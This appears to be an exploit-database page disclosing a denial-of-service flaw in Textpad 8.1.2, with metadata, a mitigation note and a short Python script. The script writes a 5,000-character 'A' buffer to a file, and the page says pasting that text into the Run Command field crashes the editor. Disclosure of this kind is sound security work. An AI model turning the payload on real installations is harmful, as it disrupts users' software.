header-logo
Suggest Exploit
vendor:
Textpad
by:
Gionathan Reale
5.5
CVSS
MEDIUM
Denial of Service
400
CWE
Product Name: Textpad
Affected Version From: 8.1.2002
Affected Version To: 8.1.2002
Patch Exists: NO
Related CWE:
CPE: a:textpad:textpad:8.1.2
Metasploit:
Other Scripts:
Platforms Tested: Windows 7 32-bit
2018

Textpad 8.1.2 – Denial Of Service (PoC)

The exploit script creates a file with a large payload, causing the Textpad application to crash when the payload is pasted into a specific field in the program. This leads to a denial of service.

Mitigation:

Update Textpad to a version that fixes the vulnerability. Avoid opening untrusted files or copying large amounts of text into the program.
Source

Exploit-DB raw data:

# Exploit Title: Textpad 8.1.2 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-06
# Homepage: https://textpad.com
# Software Link: https://www.textpad.com/download/v81/win32/txpeng812-32.zip
# Tested Version: 8.1.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Tools" > "Run...". Now paste the content of 
# "exploit.txt" into the fields:"Command". Click "OK" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 5000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"